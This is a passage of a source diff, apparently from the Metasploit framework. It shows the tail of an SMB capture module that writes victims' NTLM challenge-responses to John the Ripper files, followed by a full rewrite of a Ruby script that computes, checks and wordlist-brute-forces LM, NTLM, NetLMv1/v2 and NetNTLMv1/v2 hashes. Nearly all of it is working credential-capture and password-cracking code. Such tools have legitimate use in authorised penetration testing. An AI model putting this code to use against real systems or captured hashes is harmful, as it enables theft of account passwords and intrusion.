].join(":").gsub(/\n/, "\\n")
)
fd.close
end
end
pkt = CONST::SMB_BASE_PKT.make_struct
smb_set_defaults(c, pkt)
if(datastore['JOHNPWFILE'] and smb[:username])
case ntlm_ver
when CONST::NTLM_V1_RESPONSE
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022
c.put(pkt.to_s)
fd = File.open(datastore['JOHNPWFILE'] + '_lmv1_ntlmv1', "ab")
fd.puts(
[
smb[:username],"",
smb[:domain] ? smb[:domain] : "NULL",
lm_hash ? lm_hash : "0" * 48,
nt_hash ? nt_hash : "0" * 48,
@challenge.unpack("H*")[0]
].join(":").gsub(/\n/, "\\n")
)
fd.close
when CONST::NTLM_V2_RESPONSE
#lmv2
fd = File.open(datastore['JOHNPWFILE'] + '_lmv2', "ab")
fd.puts(
[
smb[:username],"",
smb[:domain] ? smb[:domain] : "NULL",
@challenge.unpack("H*")[0],
lm_hash ? lm_hash : "0" * 32,
lm_cli_challenge ? lm_cli_challenge : "0" * 16
].join(":").gsub(/\n/, "\\n")
)
fd.close
#ntlmv2
fd = File.open(datastore['JOHNPWFILE'] + '_ntlmv2' , "ab")
fd.puts(
[
smb[:username],"",
smb[:domain] ? smb[:domain] : "NULL",
@challenge.unpack("H*")[0],
nt_hash ? nt_hash : "0" * 32,
nt_cli_challenge ? nt_cli_challenge : "0" * 160
].join(":").gsub(/\n/, "\\n")
)
fd.close
end
end
end
end
def smb_cmd_close(c, buff)
end
@ -311,6 +607,5 @@ class Metasploit3 < Msf::Auxiliary
def smb_cmd_write(c, buff)
end
end

View File

@ -2,9 +2,9 @@
#
# $Id$
#
# This script cracks a NTLM hash based on the case-insensitive LANMAN password
# Credit to Yannick Hamon <yannick.hamon[at]xmcopartners.com> for the idea/perl code
#
# This script cracks any type of NTLM hash
# Credit to -Yannick Hamon <yannick.hamon[at]xmcopartners.com> for the original idea/perl code
# -Alexandre Maloteaux <a.maloteaux[at]gmail.com> for improvments
# $Revision$
#
@ -12,33 +12,53 @@ msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
$:.unshift(File.join(File.dirname(msfbase), '..', 'lib'))
require 'rex'
require 'net/ntlm'
BRUTE_MODE = 1
HASH_MODE = 2
PASS_MODE = 3
def usage
$stderr.puts("\n" + " Usage: #{$0} <options>\n" + $args.usage)
$stderr.puts("\nUsage: #{$0} -t type <options>\n" + $args.usage)
$stderr.puts("This tool can be use in 3 ways whatever type is choosen\n")
$stderr.puts("-If only a password (-p) is provided, it will display the hash.\n")
$stderr.puts("-If a password (-p) and an hash (-a) is provided, it will test the password against the hash.\n")
$stderr.puts("-If a list of password (-l) is provided and an hash (-a), it will try to bruteforce the hash \n\n")
exit
end
ntlm = pass = nil
chal = false
@challenge = "\x11\x22\x33\x44\x55\x66\x77\x88"
type = hash = pass = srvchal = clichal = calculatedhash = list = user = domain = nil
$args = Rex::Parser::Arguments.new(
"-n" => [ true, "The encypted NTLM hash to crack" ],
"-p" => [ true, "The decrypted LANMAN password" ],
"-c" => [ false, "Use NTLM Challenge hashes" ],
"-t" => [ true, "The type of hash to crack : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" ],
"-a" => [ true, "The hash to crack" ],
"-p" => [ true, "The password " ],
"-l" => [ true, "The list of password to check against an hash" ],
"-s" => [ true, "The LM/NTLM Server Challenge (NET* type only)" ],
"-c" => [ true, "The LM/NTLM Client Challenge (NETNTLM2_SESSION/NETLMv2/NETNTLMv2/ type only)" ],
"-u" => [ true, "The user name (NETLMv2/NETNTLMv2 type only)" ],
"-d" => [ true, "The domain (machine) name (NETLMv2/NETNTLMv2 type only)" ],
"-h" => [ false, "Display this help information" ])
$args.parse(ARGV) { |opt, idx, val|
case opt
when "-n"
ntlm = val
when "-t"
type = val
when "-a"
hash = val
when "-p"
pass = val
when "-l"
list = val
when "-s"
srvchal = val
when "-c"
chal = true
clichal = val
when "-u"
user = val
when "-d"
domain = val
when "-h"
usage
else
@ -46,35 +66,837 @@ $args.parse(ARGV) { |opt, idx, val|
end
}
if (not (ntlm and pass))
if not type
usage
end
if (chal)
if(ntlm.length != 48)
$stderr.puts "[*] NTLM Challenge should be exactly 48 bytes of hexadecimal"
else
if pass and (not (hash or list))
mode = HASH_MODE
elsif pass and hash and not list
mode = PASS_MODE
elsif list and hash and not pass
mode = BRUTE_MODE
if not File.exist? list
$stderr.puts "[*] The passwords list file does not exist"
exit
end
else
if(ntlm.length != 32)
$stderr.puts "[*] NTLM should be exactly 32 bytes of hexadecimal"
if not File.file? list
$stderr.puts "[*] The passwords list provided is not a file"
exit
end
if not File.readable? list
$stderr.puts "[*] The passwords list file is not readable"
exit
end
else
usage
end
end
if type == "HALFLM" or type == "LM" or type == "NTLM" then
if srvchal != nil or clichal != nil then
$stderr.puts "[*] No challenge must be provided with this type"
exit
end
elsif type == "HALFNETLMv1" or type == "NETLMv1" or type == "NETNTLMv1" then
if clichal != nil then
$stderr.puts "[*] Client challenge must not be provided with this type"
exit
end
end
if(pass.length > 14)
$stderr.puts "[*] LANMAN password should be between 1 and 14 characters"
case type
when "HALFLM"
case mode
when BRUTE_MODE
if not hash =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] HALFLM HASH must be exactly 16 bytes of hexadecimal"
exit
end
found = false
match_password = nil
File.open(list,"r") do |password_list|
password_list.each_line do |line|
password = line.gsub("\r\n",'').gsub("\n",'')
if password =~ /^.{1,7}$/
puts password
calculatedhash = Net::NTLM::lm_hash(password,true).unpack("H*")[0].upcase
if calculatedhash == hash.upcase
found = true
match_password = password
break
end
end
end
end
if found
puts "[*] Correct password found : #{match_password.upcase}"
exit
else
puts "[*] No password found"
exit
end
when HASH_MODE
if not pass =~ /^.{0,7}$/
$stderr.puts "[*] LM password can not be bigger then 7 characters"
exit
end
calculatedhash = Net::NTLM::lm_hash(pass,true).unpack("H*")[0].upcase
puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}"
exit
when PASS_MODE
if not pass =~ /^.{0,7}$/
$stderr.puts "[*] LM password can not be bigger then 7 characters"
exit
end
if not hash =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] LM HASH must be exactly 16 bytes of hexadecimal"
exit
end
calculatedhash = Net::NTLM::lm_hash(pass,true).unpack("H*")[0].upcase
if hash.upcase == calculatedhash
puts "[*] Correct password provided : #{pass.upcase}"
exit
else
puts "[*] Incorrect password provided : #{pass.upcase}"
exit
end
end
when "LM"
case mode
when BRUTE_MODE
if not hash =~ /^([a-fA-F0-9]{32})$/
$stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal"
exit
end
found = false
match_password = nil
File.open(list,"r") do |password_list|
password_list.each_line do |line|
password = line.gsub("\r\n",'').gsub("\n",'')
if password =~ /^.{1,14}$/
puts password
calculatedhash = Net::NTLM::lm_hash(password.upcase).unpack("H*")[0].upcase
if calculatedhash == hash.upcase
found = true
match_password = password
break
end
end
end
end
if found
puts "[*] Correct password found : #{match_password.upcase}"
exit
else
puts "[*] No password found"
exit
end
when HASH_MODE
if not pass =~ /^.{0,14}$/
$stderr.puts "[*] LM password can not be bigger then 14 characters"
exit
end
calculatedhash = Net::NTLM::lm_hash(pass.upcase).unpack("H*")[0].upcase
puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}"
exit
when PASS_MODE
if not pass =~ /^.{0,14}$/
$stderr.puts "[*] LM password can not be bigger then 14 characters"
exit
end
if not hash =~ /^([a-fA-F0-9]{32})$/
$stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal"
exit
end
calculatedhash = Net::NTLM::lm_hash(pass.upcase).unpack("H*")[0].upcase
if hash.upcase == calculatedhash
puts "[*] Correct password provided : #{pass.upcase}"
exit
else
puts "[*] Incorrect password provided : #{pass.upcase}"
exit
end
end
when "NTLM"
case mode
when BRUTE_MODE
if not hash =~ /^([a-fA-F0-9]{32})$/
$stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal"
exit
end
found = false
match_password = nil
File.open(list,"r") do |password_list|
password_list.each_line do |line|
password = line.gsub("\r\n",'').gsub("\n",'')
puts password
calculatedhash = Net::NTLM::ntlm_hash(password).unpack("H*")[0].upcase
if calculatedhash == hash.upcase
found = true
match_password = password
break
end
end
end
if found
puts "[*] Correct password found : #{match_password}"
exit
else
puts "[*] No password found"
exit
end
when HASH_MODE
calculatedhash = Net::NTLM::ntlm_hash(pass).unpack("H*")[0].upcase
puts "[*] The NTLM hash for #{pass} is : #{calculatedhash}"
exit
when PASS_MODE
if not hash =~ /^([a-fA-F0-9]{32})$/
$stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal"
exit
end
calculatedhash = Net::NTLM::ntlm_hash(pass).unpack("H*")[0].upcase
if hash.upcase == calculatedhash
puts "[*] Correct password provided : #{pass}"
exit
else
puts "[*] Incorrect password provided : #{pass}"
exit
end
end
when "HALFNETLMv1"
case mode
when BRUTE_MODE
if not hash =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] NETLMv1 HASH must be exactly 16 bytes of hexadecimal"
exit
end
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
found = false
match_password = nil
File.open(list,"r") do |password_list|
password_list.each_line do |line|
password = line.gsub("\r\n",'').gsub("\n",'')
if password =~ /^.{1,7}$/
puts password
#Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one
arglm = { :lm_hash => Net::NTLM::lm_hash(password,true)[0,7],
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase
if calculatedhash == hash.upcase
found = true
match_password = password
break
end
end
end
end
if found
puts "[*] Correct password found : #{match_password.upcase}"
exit
else
puts "[*] No password found"
exit
end
when HASH_MODE
if not pass =~ /^.{0,7}$/
$stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters"
exit
end
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
arglm = { :lm_hash => Net::NTLM::lm_hash(pass,true)[0,7],
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase
puts "[*] The HALFNETLMv1 hash for #{pass.upcase} is : #{calculatedhash}"
exit
when PASS_MODE
if not pass =~ /^.{0,7}$/
$stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters"
exit
end
if not hash =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] HALFNETLMv1 HASH must be exactly 16 bytes of hexadecimal"
exit
end
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
#Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one
arglm = { :lm_hash => Net::NTLM::lm_hash(pass,true)[0,7],
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase
if hash.upcase == calculatedhash
puts "[*] Correct password provided : #{pass.upcase}"
exit
else
puts "[*] Incorrect password provided : #{pass.upcase}"
exit
end
end
when "NETLMv1"
case mode
when BRUTE_MODE
if not hash =~ /^([a-fA-F0-9]{48})$/
$stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal"
exit
end
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
found = false
match_password = nil
File.open(list,"r") do |password_list|
password_list.each_line do |line|
password = line.gsub("\r\n",'').gsub("\n",'')
if password =~ /^.{1,14}$/
puts password
arglm = { :lm_hash => Net::NTLM::lm_hash(password),
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase
if calculatedhash == hash.upcase
found = true
match_password = password
break
end
end
end
end
if found
puts "[*] Correct password found : #{match_password.upcase}"
exit
else
puts "[*] No password found"
exit
end
when HASH_MODE
if not pass =~ /^.{1,14}$/
$stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters"
exit
end
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
arglm = { :lm_hash => Net::NTLM::lm_hash(pass),
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase
puts "[*] The NETLMv1 hash for #{pass.upcase} is : #{calculatedhash}"
exit
when PASS_MODE
if not pass =~ /^.{1,14}$/
$stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters"
exit
end
if not hash =~ /^([a-fA-F0-9]{48})$/
$stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal"
exit
end
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
arglm = { :lm_hash => Net::NTLM::lm_hash(pass),
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase
if hash.upcase == calculatedhash
puts "[*] Correct password provided : #{pass.upcase}"
exit
else
puts "[*] Incorrect password provided : #{pass.upcase}"
exit
end
end
when "NETNTLMv1"
case mode
when BRUTE_MODE
if not hash =~ /^([a-fA-F0-9]{48})$/
$stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal"
exit
end
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
found = false
match_password = nil
File.open(list,"r") do |password_list|
password_list.each_line do |line|
password = line.gsub("\r\n",'').gsub("\n",'')
puts password
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(password),
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase
if calculatedhash == hash.upcase
found = true
match_password = password
break
end
end
end
if found
puts "[*] Correct password found : #{match_password}"
exit
else
puts "[*] No password found"
exit
end
when HASH_MODE
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase
puts "[*] The NETNTLMv1 hash for #{pass} is : #{calculatedhash}"
exit
when PASS_MODE
if not hash =~ /^([a-fA-F0-9]{48})$/
$stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal"
exit
end
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase
if hash.upcase == calculatedhash
puts "[*] Correct password provided : #{pass}"
exit
else
puts "[*] Incorrect password provided : #{pass}"
exit
end
end
when "NETNTLM2_SESSION"
case mode
when BRUTE_MODE
if not hash =~ /^([a-fA-F0-9]{48})$/
$stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal"
exit
end
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
if not clichal
$stderr.puts "[*] Client challenge must be provided with this type"
exit
end
if not clichal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
exit
end
found = false
match_password = nil
File.open(list,"r") do |password_list|
password_list.each_line do |line|
password = line.gsub("\r\n",'').gsub("\n",'')
puts password
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(password),
:challenge => [ srvchal ].pack("H*") }
optntlm = { :client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
if calculatedhash == hash.upcase
found = true
match_password = password
break
end
end
end
if found
puts "[*] Correct password found : #{match_password}"
exit
else
puts "[*] No password found"
exit
end
when HASH_MODE
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
if not clichal
$stderr.puts "[*] Client challenge must be provided with this type"
exit
end
if not clichal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
exit
end
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
:challenge => [ srvchal ].pack("H*") }
optntlm = { :client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
puts "[*] The NETNTLM2_SESSION hash for #{pass} is : #{calculatedhash}"
exit
when PASS_MODE
if not hash =~ /^([a-fA-F0-9]{48})$/
$stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal"
exit
end
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
if not clichal
$stderr.puts "[*] Client challenge must be provided with this type"
exit
end
if not clichal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
exit
end
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
:challenge => [ srvchal ].pack("H*") }
optntlm = { :client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
if hash.upcase == calculatedhash
puts "[*] Correct password provided : #{pass}"
exit
else
puts "[*] Incorrect password provided : #{pass}"
exit
end
end
when "NETLMv2"
case mode
when BRUTE_MODE
if not hash =~ /^([a-fA-F0-9]{32})$/
$stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal"
exit
end
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge mus be exactly 16 bytes of hexadecimal"
exit
end
if not clichal
$stderr.puts "[*] Client challenge must be provided with this type"
exit
end
if not clichal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
exit
end
if not user
$stderr.puts "[*] User name must be provided with this type"
exit
end
if not domain
$stderr.puts "[*] Domain name must be provided with this type"
exit
end
found = false
match_password = nil
File.open(list,"r") do |password_list|
password_list.each_line do |line|
password = line.gsub("\r\n",'').gsub("\n",'')
puts password
arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,password, domain),
:challenge => [ srvchal ].pack("H*") }
optlm = { :client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
if calculatedhash.slice(0,32) == hash.upcase
found = true
match_password = password
break
end
end
end
if found
puts "[*] Correct password found : #{match_password}"
exit
else
puts "[*] No password found"
exit
end
when HASH_MODE
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
if not clichal
$stderr.puts "[*] Client challenge must be provided with this type"
exit
end
if not clichal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
exit
end
if not user
$stderr.puts "[*] User name must be provided with this type"
exit
end
if not domain
$stderr.puts "[*] Domain name must be provided with this type"
exit
end
arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,pass, domain),
:challenge => [ srvchal ].pack("H*") }
optlm = { :client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
puts "[*] The NETLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}"
exit
when PASS_MODE
if not hash =~ /^([a-fA-F0-9]{32})$/
$stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal"
exit
end
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
if not clichal
$stderr.puts "[*] Client challenge must be provided with this type"
exit
end
if not clichal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
exit
end
if not user
$stderr.puts "[*] User name must be provided with this type"
exit
end
if not domain
$stderr.puts "[*] Domain name must be provided with this type"
exit
end
arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,pass, domain),
:challenge => [ srvchal ].pack("H*") }
optlm = { :client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
if hash.upcase == calculatedhash.slice(0,32)
puts "[*] Correct password provided : #{pass}"
exit
else
puts "[*] Incorrect password provided : #{pass}"
exit
end
end
when "NETNTLMv2"
case mode
when BRUTE_MODE
if not hash =~ /^([a-fA-F0-9]{32})$/
$stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal"
exit
end
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
if not clichal
$stderr.puts "[*] Client challenge must be provided with this type"
exit
end
if not clichal =~ /^([a-fA-F0-9]{17,})$/
$stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal"
exit
end
if not user
$stderr.puts "[*] User name must be provided with this type"
exit
end
if not domain
$stderr.puts "[*] Domain name must be provided with this type"
exit
end
found = false
match_password = nil
File.open(list,"r") do |password_list|
password_list.each_line do |line|
password = line.gsub("\r\n",'').gsub("\n",'')
puts password
argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, password, domain),
:challenge => [ srvchal ].pack("H*") }
optntlm = { :nt_client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
if calculatedhash.slice(0,32) == hash.upcase
found = true
match_password = password
break
end
end
end
if found
puts "[*] Correct password found : #{match_password}"
exit
else
puts "[*] No password found"
exit
end
when HASH_MODE
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
if not clichal
$stderr.puts "[*] Client challenge must be provided with this type"
exit
end
if not clichal =~ /^([a-fA-F0-9]{17,})$/
$stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal"
exit
end
if not user
$stderr.puts "[*] User name must be provided with this type"
exit
end
if not domain
$stderr.puts "[*] Domain name must be provided with this type"
exit
end
argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, pass, domain),
:challenge => [ srvchal ].pack("H*") }
optntlm = { :nt_client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
puts "[*] The NETNTLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}"
exit
when PASS_MODE
if not hash =~ /^([a-fA-F0-9]{32})$/
$stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal"
exit
end
if not srvchal
$stderr.puts "[*] Server challenge must be provided with this type"
exit
end
if not srvchal =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
if not clichal
$stderr.puts "[*] Client challenge must be provided with this type"
exit
end
if not clichal =~ /^([a-fA-F0-9]{17,})$/
$stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal"
exit
end
if not user
$stderr.puts "[*] User name must be provided with this type"
exit
end
if not domain
$stderr.puts "[*] Domain name must be provided with this type"
exit
end
argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, pass, domain),
:challenge => [ srvchal ].pack("H*") }
optntlm = { :nt_client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
if hash.upcase == calculatedhash.slice(0,32)
puts "[*] Correct password provided : #{pass}"
exit
else
puts "[*] Incorrect password provided : #{pass}"
exit
end
end
else
$stderr.puts "type must be of type : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2"
exit
end
if(chal)
done = Rex::Proto::SMB::Crypt.lmchal2ntchal(pass, [ntlm].pack("H*"),@challenge)
else
done = Rex::Proto::SMB::Crypt.lm2nt(pass, [ntlm].pack("H*"))
end
if(done)
puts "[*] Cracked: LANMAN=#{pass} NTLM=#{done}"
else
puts "[*] Failed to crack password (incorrect input)"
end